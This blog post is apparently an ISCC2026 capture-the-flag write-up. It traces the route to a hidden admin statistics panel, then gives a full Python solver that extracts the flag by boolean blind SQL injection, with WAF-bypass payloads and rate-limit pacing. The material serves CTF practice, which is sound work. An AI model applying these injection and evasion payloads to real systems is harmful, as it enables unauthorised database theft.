Web-社团活动统计

ISCC2026 WriteUp 提交模板

Web-社团活动统计

解题思路

  1. 观察主界面

image.png

疑似是个提示,访问/admin

image.png

根据提示可以访问下/start

先访问下/robots.txt

image.png

根据提示继续访问:/static/hint/tech_stack.txt

image.png

可以看到明确要求:

访问/start

image.png

其次根据题目名称推断,并测试发现有个/activity路由

image.png

并且发现了一段flag

image.png

console.log("%c[Clue] Half of the truth: ISCC{Campus_Stat_A_", "color: #4CAF50; font-size: 14px;"); 
console.log("%c[Hint] The target might be combined with previous clues...", "color: #2196F3; font-size: 12px;");

2.burp抓包观察
/?page=2的响应包中有:

HTTP/1.1 200 OK
Date: Fri, 15 May 2026 09:26:14 GMT
Server: WSGIServer/0.2 CPython/3.12.13
Content-Type: text/html; charset=utf-8
X-Campus-Token: campus-ctf-2024-abc123
X-Frame-Options: DENY
Content-Length: 6148
X-Content-Type-Options: nosniff
Referrer-Policy: same-origin
Cross-Origin-Opener-Policy: same-origin

值得注意:X-Campus-Token: campus-ctf-2024-abc123

根据提示:The target might be combined with previous clues...
拼出路由 /admin/stat/activity/

image.png

根据之前的提示 ,我们修改下请求包:

image.png

成功了
在浏览器中请求:

image.png

测试后发现只有统计框有用,估计是个sql注入

image.png

3.SQL注入

看了下页面发现有下面提示:

               <!-- 隐藏提示1:藏在input的title属性中 -->
                <input type="text" id="dim_filter" name="dim_filter" placeholder="输入统计维度关键词" title="该参数会作为统计结果的别名使用">
                <button type="submit">执行统计</button>
            </form>
        </div>
        <div class="result-box">
            <h3>统计结果(活动总数)</h3>
            <div class="count">✅ 0</div>
        </div>
    </div>

    <!-- 隐藏提示2:藏在不可见元素的属性中 -->
    <div class="hint-attr" data-hint="SQL语句格式为SELECT COUNT(*) AS [维度值] FROM activity"></div>

    <!-- 隐藏提示3:藏在HTML注释中 -->
    <!-- Flag存储在flag表的value字段,可通过构造条件判断字符是否正确 -->
    <!-- WAF会过滤空格和完整关键词,可用/**/替代空格,简化关键词绕过 -->

Exp

#!/usr/bin/env python3
from __future__ import annotations

import argparse
import itertools
import os
import random
import re
import sys
import time
from dataclasses import dataclass, field
from pathlib import Path
from typing import Dict, Iterable, Optional

import requests

DEFAULT_ROOT = "http://39.105.213.28:8000"
DEFAULT_UA = "Campus-Stat/1.0"
DEFAULT_REFERER = "https://campus-stat.example.com/"
DEFAULT_TOKEN = "campus-ctf-2024-abc123"
KNOWN_HEAD = "ISCC{Campus_Stat_A_"
TRUE_VALUE = 10
ASCII_MIN = 32
ASCII_MAX = 126
LEAF_CANDIDATES = ("admin", "stat", "activity", "dashboard", "club", "stats")


@dataclass
class Context:
    root: str
    ua: str = DEFAULT_UA
    referer: str = DEFAULT_REFERER
    token: str = DEFAULT_TOKEN
    floor_delay: float = 6.0
    retries: int = 4
    state_file: str = ""
    session: requests.Session = field(default_factory=requests.Session)
    previous_tick: float = 0.0
    strike: int = 0


def pause(ctx: Context) -> None:
    base = ctx.floor_delay + ctx.strike * 4
    passed = time.monotonic() - ctx.previous_tick
    if passed < base:
        time.sleep(base - passed + random.uniform(0.35, 0.95))
    else:
        time.sleep(random.uniform(0.25, 0.7))
    ctx.previous_tick = time.monotonic()


def guarded_headers(ctx: Context) -> Dict[str, str]:
    return {
        "User-Agent": ctx.ua,
        "Referer": ctx.referer,
        "X-Campus-Token": ctx.token,
    }


def pull(
    ctx: Context,
    path: str,
    *,
    params: Optional[dict] = None,
    headers: Optional[dict] = None,
    timeout: int = 15,
) -> requests.Response:
    err: Optional[Exception] = None
    for attempt in range(1, ctx.retries + 1):
        try:
            pause(ctx)
            resp = ctx.session.get(
                f"{ctx.root}{path}",
                params=params,
                headers=headers,
                timeout=timeout,
            )
            if resp.status_code == 429:
                ctx.strike += 1
                retry_after = resp.headers.get("Retry-After", "").strip()
                header_wait = int(retry_after) if retry_after.isdigit() else 0
                cooloff = header_wait or (10 + ctx.strike * 10)
                ctx.floor_delay = min(ctx.floor_delay + 1.5, 15.0)
                print(f"[slow] 429 on {path}, cooling down {cooloff}s (base delay -> {ctx.floor_delay:.1f}s)")
                time.sleep(cooloff)
                continue
            resp.raise_for_status()
            if ctx.strike:
                ctx.strike -= 1
            if ctx.floor_delay > 6.0:
                ctx.floor_delay = max(6.0, ctx.floor_delay - 0.2)
            return resp
        except Exception as exc:
            err = exc
            if attempt < ctx.retries:
                time.sleep(1.5 * attempt)
    raise RuntimeError(f"request failed for {path}: {err}")


def learn_gate(ctx: Context) -> None:
    robots = pull(ctx, "/robots.txt", timeout=10).text
    match = re.search(r"Allow:\s*(/static/hint/[^\s]+)", robots)
    if match:
        hint_text = pull(ctx, match.group(1), timeout=10).text
        ua_hit = re.search(r'User-Agent:.*?"([^"]+)"', hint_text)
        if ua_hit:
            ctx.ua = ua_hit.group(1)
        referer_hit = re.search(r"https://campus-stat\.example\.com/?", hint_text)
        if referer_hit:
            ctx.referer = referer_hit.group(0)
            if not ctx.referer.endswith("/"):
                ctx.referer += "/"

    seed = pull(ctx, "/", params={"page": "2"}, timeout=10)
    ctx.token = seed.headers.get("X-Campus-Token", ctx.token)
    print(f"[gate] ua={ctx.ua}")
    print(f"[gate] referer={ctx.referer}")
    print(f"[gate] token={ctx.token}")


def scan_clue_pages(ctx: Context) -> Dict[str, str]:
    discovered: Dict[str, str] = {}
    marks = ("flag{", "Keyword:", "hidden-flag", 'class="here"')
    for word in LEAF_CANDIDATES:
        path = f"/{word}/"
        try:
            body = pull(ctx, path, headers=guarded_headers(ctx), timeout=10).text
        except Exception:
            continue
        if any(mark in body for mark in marks):
            discovered[word] = body
            print(f"[leaf] hit {path}")

    for word, body in discovered.items():
        if word == "admin":
            found = re.search(r"flag\{([A-Za-z0-9_]+)", body)
            print(f"[clue] admin -> {found.group(1) if found else 'N/A'}")
        elif word == "stat":
            found = re.search(r'Keyword:\s*<span class="keyword">([^<]+)</span>', body)
            print(f"[clue] stat -> {found.group(1) if found else 'N/A'}")
        elif word == "activity":
            prefix = re.search(r"ISCC\{Campus_Stat_A_", body)
            here = re.search(r'<div class="here">([^<]+)</div>', body)
            print(f"[clue] activity -> {here.group(1) if here else 'N/A'}")
            print(f"[clue] prefix -> {prefix.group(0) if prefix else 'N/A'}")
    return discovered


def candidate_paths(parts: Iterable[str]) -> Iterable[str]:
    seen = set()
    preferred = ("admin", "stat", "activity")
    if all(piece in parts for piece in preferred):
        path = "/" + "/".join(preferred) + "/"
        seen.add(path)
        yield path
    for combo in itertools.permutations(parts, 3):
        path = "/" + "/".join(combo) + "/"
        if path in seen:
            continue
        seen.add(path)
        yield path


def locate_panel(ctx: Context, clues: Dict[str, str]) -> str:
    parts = list(clues)
    if len(parts) < 3:
        parts = ["admin", "stat", "activity"]

    for path in candidate_paths(parts):
        try:
            body = pull(ctx, path, headers=guarded_headers(ctx), timeout=15).text
        except Exception:
            continue
        if 'name="dim_filter"' in body and "COUNT(*) AS" in body:
            print(f"[core] {path}")
            return path
    raise RuntimeError("core path not found")


def read_count(page: str) -> int:
    match = re.search(r'class="count">\s*.*?(\d+)\s*</div>', page, re.S)
    if not match:
        raise RuntimeError("count field missing in response")
    return int(match.group(1))


def ask_oracle(ctx: Context, core_path: str, condition: str) -> bool:
    body = pull(
        ctx,
        core_path,
        params={"dim_filter": condition},
        headers=guarded_headers(ctx),
        timeout=20,
    ).text
    return read_count(body) == TRUE_VALUE


def resolve_ascii(ctx: Context, core_path: str, offset: int) -> str:
    low, high = ASCII_MIN, ASCII_MAX
    while low < high:
        mid = (low + high) // 2
        expr = f"unicode(substr((SeLeCt/**/value/**/FrOm/**/flag),{offset},1))<={mid}"
        if ask_oracle(ctx, core_path, expr):
            high = mid
        else:
            low = mid + 1

    check = f"unicode(substr((SeLeCt/**/value/**/FrOm/**/flag),{offset},1))={low}"
    if not ask_oracle(ctx, core_path, check):
        raise RuntimeError(f"verification failed at position {offset}")
    return chr(low)


def recover_flag(ctx: Context, core_path: str, prefix: str) -> str:
    result = prefix
    index = len(prefix) + 1
    print(f"[work] seed prefix: {prefix}")

    while True:
        ch = resolve_ascii(ctx, core_path, index)
        result += ch
        save_state(ctx.state_file, result)
        print(f"[work] pos={index} char={ch!r} -> {result}")
        if ch == "}":
            return result
        if len(result) > 80:
            raise RuntimeError("unexpected flag growth")
        index += 1


def verify_guess(ctx: Context, core_path: str, flag_text: str) -> bool:
    probe = f"(SeLeCt/**/value/**/FrOm/**/flag)='{flag_text}'"
    return ask_oracle(ctx, core_path, probe)


def load_state(seed_prefix: str, state_file: str) -> str:
    if not state_file:
        return seed_prefix
    path = Path(state_file)
    if not path.exists():
        return seed_prefix
    cached = path.read_text(encoding="utf-8").strip()
    if cached.startswith(seed_prefix) and len(cached) > len(seed_prefix):
        print(f"[resume] continue from saved prefix: {cached}")
        return cached
    return seed_prefix


def save_state(state_file: str, current: str) -> None:
    if not state_file:
        return
    Path(state_file).write_text(current, encoding="utf-8")


def build_cli() -> argparse.ArgumentParser:
    parser = argparse.ArgumentParser(description="Alternative solver for the campus activity statistics challenge")
    parser.add_argument("--base", default=DEFAULT_ROOT, help="target root URL")
    parser.add_argument("--prefix", default=KNOWN_HEAD, help="known flag prefix")
    parser.add_argument(
        "--mode",
        choices=("smoke", "solve", "verify"),
        default="solve",
        help="smoke: stop after finding core route; solve: dump flag tail; verify: only check a provided flag",
    )
    parser.add_argument("--flag", default="", help="flag value used by --mode verify")
    parser.add_argument("--delay", type=float, default=6.0, help="minimum delay between requests")
    parser.add_argument(
        "--state-file",
        default=os.path.join(os.path.dirname(__file__), "iscc_web3_exp_alt.state.txt"),
        help="save recovered prefix here for resume",
    )
    return parser


def main() -> int:
    args = build_cli().parse_args()
    seed_prefix = load_state(args.prefix, args.state_file)
    ctx = Context(root=args.base.rstrip("/"), floor_delay=args.delay, state_file=args.state_file)

    learn_gate(ctx)
    clues = scan_clue_pages(ctx)
    core_path = locate_panel(ctx, clues)

    if args.mode == "smoke":
        print("[done] smoke test passed")
        return 0

    if args.mode == "verify":
        if not args.flag:
            print("[error] --flag is required in verify mode", file=sys.stderr)
            return 2
        ok = verify_guess(ctx, core_path, args.flag)
        print(f"[verify] {args.flag} -> {'TRUE' if ok else 'FALSE'}")
        return 0 if ok else 1

    final_flag = recover_flag(ctx, core_path, seed_prefix)
    save_state(ctx.state_file, final_flag)
    print(f"\n[flag] {final_flag}")
    return 0


if __name__ == "__main__":
    raise SystemExit(main())

posted @ 2026-05-19 16:32  MillionMind  阅读(6)  评论(0)    收藏  举报